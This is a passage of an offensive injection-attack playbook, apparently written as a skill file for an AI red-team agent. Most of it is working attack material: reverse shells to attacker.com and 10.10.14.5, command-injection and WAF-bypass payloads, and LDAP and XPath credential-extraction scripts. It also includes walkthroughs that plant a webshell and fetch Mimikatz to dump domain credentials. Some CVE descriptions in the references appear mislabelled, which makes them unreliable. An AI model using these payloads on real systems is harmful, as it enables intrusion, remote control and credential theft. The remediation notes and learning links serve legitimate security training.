; python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
; /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
```

### Command Injection Filter Bypass

```bash
# Space bypass
{cat,/etc/passwd}          # IFS alternative
cat${IFS}/etc/passwd       # IFS variable
cat$IFS/etc/passwd
X=$'\x20';cat${X}/etc/passwd

# Slash bypass
cat ${HOME:0:1}etc${HOME:0:1}passwd
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh

# Blacklist bypass (filtered keywords)
c'a't /etc/passwd          # Quote break
c"a"t /etc/passwd
ca\t /etc/passwd
$(echo 'cat') /etc/passwd

# Using wildcards
cat /et?/passwd
cat /etc/pass?d
cat /etc/p*

# Using hex/octal
$(printf '\x63\x61\x74') /etc/passwd   # cat via hex
$(printf '\143\141\164') /etc/passwd   # cat via octal

# Using environment variables
$( < /etc/passwd)           # Read without cat in bash
${!ENV_WITH_ID_CMD}         # Indirect variable

# Bypass via encoding in URL
cat%20/etc/passwd           # URL encode space
cat%09/etc/passwd           # Tab
```

---

## 7. LDAP Injection

### Authentication Bypass

```
# Original query: (&(uid=USER)(password=PASS))

# Inject into username field
admin)(&(uid=*)(uid=*      → (&(uid=admin)(&(uid=*)(uid=*)(password=x))
*)(uid=*))(&(uid=*         → (&(uid=*)(uid=*))(&(uid=*)(password=x))
admin)(!(&(1=0             → (&(uid=admin)(!(&(1=0)(password=x))

# Universal bypass
*
*)(&
*))%00
admin)(&)

# Bypass password
*)(&(uid=*
*)(!(&(uid=admin
```

### LDAP Data Exfiltration (Blind)

```python
#!/usr/bin/env python3
"""Blind LDAP injection enumeration."""
import requests

TARGET = "https://target.com/search"
TRUE_INDICATOR = "Results found"

def test_payload(payload):
    data = {"search": payload}
    r = requests.post(TARGET, data=data)
    return TRUE_INDICATOR in r.text

def enumerate_attrs():
    # Test if attribute exists
    attrs = ["mail", "cn", "uid", "sn", "password", "userPassword",
             "shadowPassword", "ntPassword", "lmPassword", "samaccountname"]
    for attr in attrs:
        payload = f"*)(objectClass=*)(|({attr}=*"
        if test_payload(payload):
            print(f"[+] Attribute exists: {attr}")

def extract_user_value(attr, charset="abcdefghijklmnopqrstuvwxyz0123456789@._-"):
    result = ""
    for _ in range(100):
        found = False
        for char in charset:
            payload = f"*)(objectClass=*)(|({attr}={result}{char}*"
            if test_payload(payload):
                result += char
                print(f"[+] {attr}: {result}")
                found = True
                break
        if not found:
            break
    return result

if __name__ == "__main__":
    enumerate_attrs()
    mail = extract_user_value("mail")
    print(f"[+] Found mail: {mail}")
```

---

## 8. XPath Injection

### Authentication Bypass

```xml
<!-- Original query: //user[username/text()='USER' and password/text()='PASS'] -->

<!-- Bypass with always-true -->
' or '1'='1
' or 1=1 or 'x'='y
admin' or '1'='1

<!-- Comment injection (XPath has no comments, use string tricks) -->
' or ''='
'] | //user | //user['

<!-- Extract data via error messages -->
' and count(//user)>0 and '1'='1   <!-- Boolean: users exist? -->
' and string-length(//user[1]/password)>5 and '1'='1  <!-- Password length -->
' and substring(//user[1]/password,1,1)='a' and '1'='1  <!-- Char extraction -->
```

### Blind XPath Extraction Script

```python
#!/usr/bin/env python3
"""Blind XPath injection data extraction."""
import requests
import string

TARGET = "https://target.com/login"
TRUE_INDICATOR = "Welcome"

def test(payload):
    data = {"username": payload, "password": "x"}
    r = requests.post(TARGET, data=data)
    return TRUE_INDICATOR in r.text

def extract_xpath(xpath_query, max_length=50):
    result = ""
    charset = string.ascii_letters + string.digits + "@._-!"
    for pos in range(1, max_length + 1):
        found = False
        for char in charset:
            payload = f"' and substring({xpath_query},{pos},1)='{char}' and '1'='1"
            if test(payload):
                result += char
                print(f"[+] Position {pos}: {char} → {result}")
                found = True
                break
        if not found:
            break
    return result

if __name__ == "__main__":
    # Extract first username
    username = extract_xpath("//user[1]/username")
    print(f"[+] Username: {username}")

    # Extract first password
    password = extract_xpath("//user[1]/password")
    print(f"[+] Password: {password}")
```

---

## 9. WAF Bypass Techniques

### General WAF Bypass Strategies

```
1. Case variation:       SELECT → SeLeCt, UNION → UnIoN
2. Comment injection:    SELECT/**/username → space replacement
3. URL encoding:         UNION → %55%4E%49%4F%4E
4. Double encoding:      %27 → %2527
5. HTML entity (form):   ' → &#39;
6. Unicode:              SELECT → &#x53;&#x45;&#x4C;...
7. Null byte:            ' → '%00'
8. Multiline:            SE\nLECT
9. Tab instead of space: UNION\tSELECT
10. Versioned comments:  /*!50000SELECT*/
```

### MySQL WAF Bypass Payloads

```sql
-- Space bypass
UNION/**/SELECT
UNION%09SELECT          -- Tab
UNION%0ASELECT          -- Newline
UNION%0DSELECT          -- CR
UNION%0BSELECT          -- Vertical tab
UNION%0CSELECT          -- Form feed
UNION(SELECT)
UNION(SELECT/**/1,2,3)

-- Comment variations
/*!UNION*//*!SELECT*/
/*!50000UNION*//*!50000SELECT*/
UNI/**/ON SELECT

-- Keyword bypass
SELect
SelECT
%53%45%4C%45%43%54     -- URL encoded SELECT

-- Quote bypass
WHERE username=0x61646d696e    -- Hex encoded 'admin'
WHERE username=char(97,100,109,105,110)

-- UNION detection bypass
UNION ALL SELECT
UNION DISTINCT SELECT
 UNION SELECT              -- Leading space

-- Function name bypass
group_concat → GROUP_CONCAT → GrOuP_CoNcAt
substring → SUBSTRING → MID → SUBSTR

-- Operator bypass
= → LIKE, RLIKE, REGEXP
AND → &&
OR → ||
NOT → !

-- WAF bypass with versioned MySQL comments
SELECT /*!32302 1,2,3*/ FROM users
```

### Encoding-Based Bypass

```python
#!/usr/bin/env python3
"""Generate WAF bypass encoded payloads."""
import urllib.parse

def generate_bypasses(payload):
    print(f"[*] Original: {payload}\n")

    # URL encode
    url_enc = urllib.parse.quote(payload)
    print(f"URL encoded: {url_enc}")

    # Double URL encode
    double_url = urllib.parse.quote(url_enc)
    print(f"Double URL encoded: {double_url}")

    # Hex encode for MySQL
    hex_payload = "0x" + payload.encode().hex()
    print(f"MySQL hex: {hex_payload}")

    # Unicode encode
    unicode_enc = "".join(f"\\u{ord(c):04x}" for c in payload)
    print(f"Unicode: {unicode_enc}")

    # HTML entity
    html_ent = "".join(f"&#{ord(c)};" for c in payload)
    print(f"HTML entities: {html_ent}")

    # Case variation
    case_var = "".join(c.upper() if i % 2 == 0 else c.lower()
                       for i, c in enumerate(payload))
    print(f"Case variation: {case_var}")

if __name__ == "__main__":
    generate_bypasses("UNION SELECT username,password FROM users")
```

### HTTP-Level WAF Bypass

```bash
# Chunked transfer encoding (bypass body inspection)
curl -v "https://target.com/login" \
  -H "Transfer-Encoding: chunked" \
  --data-urlencode "username=admin'--+"

# Content-Type confusion
curl -v "https://target.com/api" \
  -H "Content-Type: application/json;charset=ibm037" \
  -d '{"id": "1 UNION SELECT 1,2,3--"}'

# Parameter pollution
https://target.com/item?id=1&id=2 UNION SELECT 1,2--+
POST body: id=1&id=2 UNION SELECT 1,2--+

# HTTP method override
POST /item?id=1 UNION SELECT 1,2--+ HTTP/1.1
X-HTTP-Method-Override: GET

# Large header to push WAF buffer limit
curl "https://target.com/item?id=1" \
  -H "X-Padding: $(python3 -c 'print("A"*8000)')" \
  -H "id: 1 UNION SELECT 1,2--+"

# JSON array to confuse parsers
{"username": ["admin", "' OR '1'='1"]}

# Null byte termination
?id=1%00' UNION SELECT 1,2--+

# Path variation
/item/../item?id=1 UNION SELECT 1,2--+
```

---

## 10. Real-World Engagement Examples

### Example 1: E-Commerce SQLi to Admin RCE (MySQL)

**Scenario:** Product search endpoint vulnerable to UNION-based SQLi. WAF in place (ModSecurity with CRS).

```bash
# Step 1: Identify endpoint
# GET /search?q=shoes returns product listings

# Step 2: Confirm injection
curl "https://shop.target.com/search?q=shoes'"
# Response: MySQL syntax error → confirmed

# Step 3: Determine column count
curl "https://shop.target.com/search?q=shoes' ORDER BY 5--+"
# 200 OK → at least 5 columns
curl "https://shop.target.com/search?q=shoes' ORDER BY 6--+"
# Error → exactly 5 columns

# Step 4: Find output column (try each position)
curl "https://shop.target.com/search?q=shoes' UNION SELECT null,null,CONCAT(0x7e,database(),0x7e),null,null--+"
# Response contains ~shopdb~ → column 3 is reflected

# Step 5: WAF bypass needed — spaces blocked
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,CONCAT(0x7e,database(),0x7e),null,null--+"

# Step 6: Enumerate tables
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,GROUP_CONCAT(table_name),null,null/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()--+"

# Step 7: Dump admin credentials
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,CONCAT(username,0x3a,password),null,null/**/FROM/**/admin_users--+"

# Step 8: Read webshell location from config
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,LOAD_FILE(0x2f6574632f617061636865322f73697465732d656e61626c65642f73686f702e636f6e66),null,null--+"
# Decoded path: /etc/apache2/sites-enabled/shop.conf → found webroot /var/www/shop/public

# Step 9: Write webshell
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,0x3c3f70687020737973.../**/INTO/**/OUTFILE/**/0x2f7661722f7777772f73686f702f7075626c69632f78782e706870--+"

# Step 10: Verify and execute
curl "https://shop.target.com/xx.php?cmd=id"
```

### Example 2: API JSON NoSQL Injection (MongoDB Auth Bypass)

**Scenario:** REST API `/api/v1/auth` accepts JSON with `username` and `password`. MongoDB backend.

```bash
# Step 1: Normal request
curl -X POST https://api.target.com/v1/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"wrongpass"}'
# Response: {"error":"Invalid credentials"}

# Step 2: NoSQL injection attempt
curl -X POST https://api.target.com/v1/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$ne":"invalid"}}'
# Response: {"token":"eyJhbGc..."} → Auth bypass confirmed

# Step 3: Enumerate users
curl -X POST https://api.target.com/v1/auth \
  -H "Content-Type: application/json" \
  -d '{"username":{"$regex":"^a"},"password":{"$ne":"x"}}'
# Success → username starts with 'a'

# Step 4: Run automated extraction script (see Section 4)
python3 nosql_extract.py
```

### Example 3: SSTI to RCE via Flask/Jinja2

**Scenario:** User profile page renders `Hello, <username>!` and username is stored/reflected without sanitization.

```bash
# Step 1: Probe for SSTI
# Register with username: {{7*7}}
# Profile page shows: Hello, 49! → SSTI confirmed (Jinja2)

# Step 2: Fingerprint
# Register: {{config}}
# Shows Flask config → Jinja2 on Flask confirmed

# Step 3: RCE via cycler global
# Register: {{cycler.__init__.__globals__.os.popen('id').read()}}
# Profile shows: uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Step 4: Establish persistence
# Register: {{cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"').read()}}
# Listener: nc -lvnp 4444
```

### Example 4: MSSQL Injection to Domain Compromise

**Scenario:** HR application with MSSQL backend. SQLi found in search field. MSSQL service running as domain service account.

```bash
# Step 1: Confirm MSSQL injection
sqlmap -r hr_search_req.txt --dbms=mssql --batch --dbs

# Step 2: Check current privileges
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
  --sql-query="SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin')"
# Output: SA_HRAPP | 1 → sysadmin!

# Step 3: Enable xp_cmdshell
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
  --sql-query="EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"

# Step 4: Execute whoami to confirm context
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
  --os-cmd="whoami /all"

# Step 5: Dump domain credentials via LSASS (if high priv)
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
  --os-cmd="powershell -enc $(echo 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/Invoke-Mimikatz.ps1\"); Invoke-Mimikatz -DumpCreds' | iconv -t UTF-16LE | base64 -w 0)"

# Step 6: Check for linked servers
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
  --sql-query="SELECT name,data_source FROM sys.servers WHERE is_linked=1"

# Step 7: Execute on linked server
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
  --sql-query="EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]"
```

---

## 11. Integration with RTExit Autodoc Engine

### Structured Finding Output

When discovering injection vulnerabilities, output findings in the RTExit autodoc JSON format:

```python
#!/usr/bin/env python3
"""RTExit autodoc integration for injection findings."""
import json
from datetime import datetime, timezone

def create_injection_finding(
    vuln_type,
    endpoint,
    parameter,
    payload,
    evidence,
    severity="HIGH",
    cvss_score=8.1,
    db_type=None,
    rce_achieved=False
):
    finding = {
        "finding_id": f"INJ-{datetime.now().strftime('%Y%m%d%H%M%S')}",
        "timestamp": datetime.now(timezone.utc).isoformat(),
        "skill": "rt-exploit-injection",
        "category": "Injection",
        "subcategory": vuln_type,
        "severity": severity,
        "cvss_v3": cvss_score,
        "title": f"{vuln_type} in {parameter} parameter at {endpoint}",
        "affected_component": {
            "url": endpoint,
            "parameter": parameter,
            "method": "GET/POST",
            "db_type": db_type
        },
        "description": f"The parameter '{parameter}' at '{endpoint}' is vulnerable to {vuln_type}. "
                       f"An attacker can manipulate the injected query to extract, modify, or delete "
                       f"data from the database backend.",
        "proof_of_concept": {
            "payload": payload,
            "evidence": evidence,
            "rce_achieved": rce_achieved
        },
        "impact": {
            "confidentiality": "HIGH" if not rce_achieved else "CRITICAL",
            "integrity": "HIGH" if not rce_achieved else "CRITICAL",
            "availability": "MEDIUM" if not rce_achieved else "HIGH",
            "rce": rce_achieved
        },
        "remediation": {
            "short": "Use parameterized queries / prepared statements.",
            "long": [
                "Replace all dynamic SQL string concatenation with parameterized queries or prepared statements.",
                "Implement an ORM (e.g., SQLAlchemy, Hibernate, Entity Framework) that handles parameterization.",
                "Apply principle of least privilege — database accounts should not have DBA/sysadmin rights.",
                "Enable WAF rules specific to SQL injection (OWASP CRS ruleset).",
                "Implement input validation as defence-in-depth (not sole mitigation).",
                "Review and audit all database interactions, including stored procedures.",
                "Enable database activity monitoring (DAM) to detect anomalous queries."
            ]
        },
        "references": [
            "https://owasp.org/www-community/attacks/SQL_Injection",
            "https://portswigger.net/web-security/sql-injection",
            "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
        ],
        "tags": ["sqli", "injection", vuln_type.lower().replace(" ", "-"), db_type or "unknown-db"]
    }
    return finding

def save_finding(finding, output_dir="./rt-findings"):
    import os
    os.makedirs(output_dir, exist_ok=True)
    filename = f"{output_dir}/{finding['finding_id']}.json"
    with open(filename, "w") as f:
        json.dump(finding, f, indent=2)
    print(f"[+] Finding saved: {filename}")
    return filename

# Usage example
if __name__ == "__main__":
    finding = create_injection_finding(
        vuln_type="SQL Injection (UNION-based)",
        endpoint="https://target.com/search",
        parameter="q",
        payload="' UNION SELECT username,password FROM admin_users--+",
        evidence="Response contained: admin:$2b$12$abc123...",
        severity="CRITICAL",
        cvss_score=9.8,
        db_type="MySQL",
        rce_achieved=False
    )
    save_finding(finding)
    print(json.dumps(finding, indent=2))
```

### SQLMap Output Parsing for RTExit

```python
#!/usr/bin/env python3
"""Parse sqlmap output and format for RTExit autodoc."""
import json
import re
import sys

def parse_sqlmap_output(sqlmap_log_file):
    with open(sqlmap_log_file) as f:
        content = f.read()

    findings = {}

    # Extract DB type
    db_match = re.search(r'back-end DBMS: ([^\n]+)', content)
    if db_match:
        findings['db_type'] = db_match.group(1).strip()

    # Extract injectable parameter
    param_match = re.search(r"Parameter: ([^\s]+) \(([A-Z]+)\)", content)
    if param_match:
        findings['parameter'] = param_match.group(1)
        findings['method'] = param_match.group(2)

    # Extract injection type
    type_match = re.search(r"Type: ([^\n]+)", content)
    if type_match:
        findings['injection_type'] = type_match.group(1).strip()

    # Extract payload
    payload_match = re.search(r"Payload: ([^\n]+)", content)
    if payload_match:
        findings['payload'] = payload_match.group(1).strip()

    # Extract databases
    dbs = re.findall(r"\[\*\] ([a-zA-Z0-9_]+)", content)
    if dbs:
        findings['databases'] = dbs

    print(json.dumps(findings, indent=2))
    return findings

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 parse_sqlmap.py <sqlmap_log_file>")
        sys.exit(1)
    parse_sqlmap_output(sys.argv[1])
```

---

## 12. Output and Documentation Instructions

### Required Documentation for Each Injection Finding

For every confirmed injection vulnerability, document the following:

```markdown
## [VULN-ID] SQL Injection in [Parameter] — [Endpoint]

**Severity:** CRITICAL / HIGH / MEDIUM
**CVSS Score:** X.X (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**DB Type:** MySQL / PostgreSQL / MSSQL / Oracle / MongoDB
**Injection Type:** UNION-based / Error-based / Blind Time-based / Blind Boolean / Stacked

### Affected Endpoint
- **URL:** https://target.com/endpoint
- **Method:** GET / POST
- **Parameter:** `parameter_name`
- **Context:** URL parameter / POST body / JSON key / HTTP header / Cookie

### Proof of Concept

**Request:**
```http
GET /endpoint?parameter=PAYLOAD HTTP/1.1
Host: target.com
Cookie: session=xxx
```

**Payload:**
```
PAYLOAD_HERE
```

**Response evidence:**
```
EVIDENCE_OF_EXPLOITATION
```

### Impact
- Data exfiltration: All records in [table] accessible
- Authentication bypass: Admin login achievable
- RCE: [Yes/No] — via [method if yes]

### Remediation
1. Replace dynamic SQL with parameterized queries
2. Restrict DB user privileges
3. Enable WAF SQL injection rules
```

### sqlmap Evidence Collection

```bash
# Always run with logging enabled for evidence
sqlmap -r req.txt \
  --dbs \
  --output-dir=./sqlmap-evidence \
  --save-config=target_config.ini \
  --flush-session \
  --batch \
  -v 3 \
  2>&1 | tee ./sqlmap-evidence/sqlmap_run.log

# Take screenshots of key findings
# Record HTTP traffic via Burp Suite → save project file
# Export raw HTTP requests and responses from Burp for report appendix
```

---

## 13. Resources and References

### Tools

| Tool | URL | Purpose |
|---|---|---|
| sqlmap | https://github.com/sqlmapproject/sqlmap | Automated SQL injection |
| ghauri | https://github.com/r0oth3x49/ghauri | Advanced SQLi detection |
| NoSQLMap | https://github.com/codingo/NoSQLMap | NoSQL injection automation |
| tplmap | https://github.com/epinna/tplmap | SSTI detection and exploitation |
| commix | https://github.com/commixproject/commix | Command injection automation |
| gau | https://github.com/lc/gau | URL discovery |
| arjun | https://github.com/s0md3v/Arjun | Parameter discovery |
| interactsh | https://github.com/projectdiscovery/interactsh | OOB interaction server |
| dalfox | https://github.com/hahwul/dalfox | XSS/injection scanner |
| ysoserial | https://github.com/frohoff/ysoserial | Java deserialization payloads |

### Payload Repositories

| Resource | URL |
|---|---|
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings |
| SecLists | https://github.com/danielmiessler/SecLists |
| OWASP Testing Guide | https://owasp.org/www-project-web-security-testing-guide/ |
| HackTricks | https://book.hacktricks.xyz/pentesting-web/sql-injection |
| PortSwigger Web Security Academy | https://portswigger.net/web-security/sql-injection |
| SSTI Payloads | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection |
| SQLi Filter Bypass | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection/Intruder |

### sqlmap Tamper Scripts Reference

```bash
# List all available tamper scripts
ls $(python3 -c "import sqlmap; print(sqlmap.__file__.replace('__init__.py',''))")tamper/

# Key tamper scripts and their purpose:
# apostrophemask         → replace ' with UTF-8 full-width '
# base64encode           → base64 encode the whole payload
# between                → replace > with NOT BETWEEN 0 AND #
# charencode             → URL encode all chars
# charunicodeencode      → Unicode escape all non-ASCII chars
# equaltolike            → replace = with LIKE
# greatest               → replace > with GREATEST
# ifnull2ifisnull        → replace IFNULL with IF(ISNULL
# modsecurityversioned   → insert versioned MySQL comment
# multiplespaces         → add multiple spaces around SQL keywords
# nonrecursivereplacement → double replacement to bypass deduplication
# percentage             → add % between each char (MSSQL)
# randomcase             → random case for each keyword char
# securesphere           → append special crafted string
# space2comment          → replace space with /**/
# space2dash             → replace space with -- comment + newline
# space2hash             → replace space with # comment + newline (MySQL)
# space2mssqlblank       → replace space with random blank (MSSQL)
# space2plus             → replace space with +
# space2randomblank      → replace space with random whitespace
# symboliclogical        → replace AND/OR with && and ||
# unionalltounion        → replace UNION ALL SELECT with UNION SELECT
# unmagicquotes          → replace ' with \' + add random comment
```

### CVEs and Advisories Related to Injection

- CVE-2019-19781 — Citrix ADC SQL-like path traversal/injection
- CVE-2021-44228 — Log4Shell (JNDI injection)
- CVE-2022-22965 — Spring4Shell (expression injection)
- CVE-2023-23397 — Exchange SSRF/injection chain
- CWE-89 — Improper Neutralization of Special Elements used in an SQL Command
- CWE-77 — Improper Neutralization of Special Elements used in a Command
- CWE-94 — Improper Control of Generation of Code (SSTI)

### Learning Resources

| Resource | URL |
|---|---|
| PortSwigger SQL Injection Labs | https://portswigger.net/web-security/sql-injection |
| PortSwigger SSTI Labs | https://portswigger.net/web-security/server-side-template-injection |
| PortSwigger OS Command Injection | https://portswigger.net/web-security/os-command-injection |
| HackTheBox | https://www.hackthebox.com |
| TryHackMe SQL Injection | https://tryhackme.com/room/sqliab |
| DVWA | https://github.com/digininja/DVWA |
| WebGoat | https://github.com/WebGoat/WebGoat |
| SQLi-labs | https://github.com/Audi-1/sqli-labs |
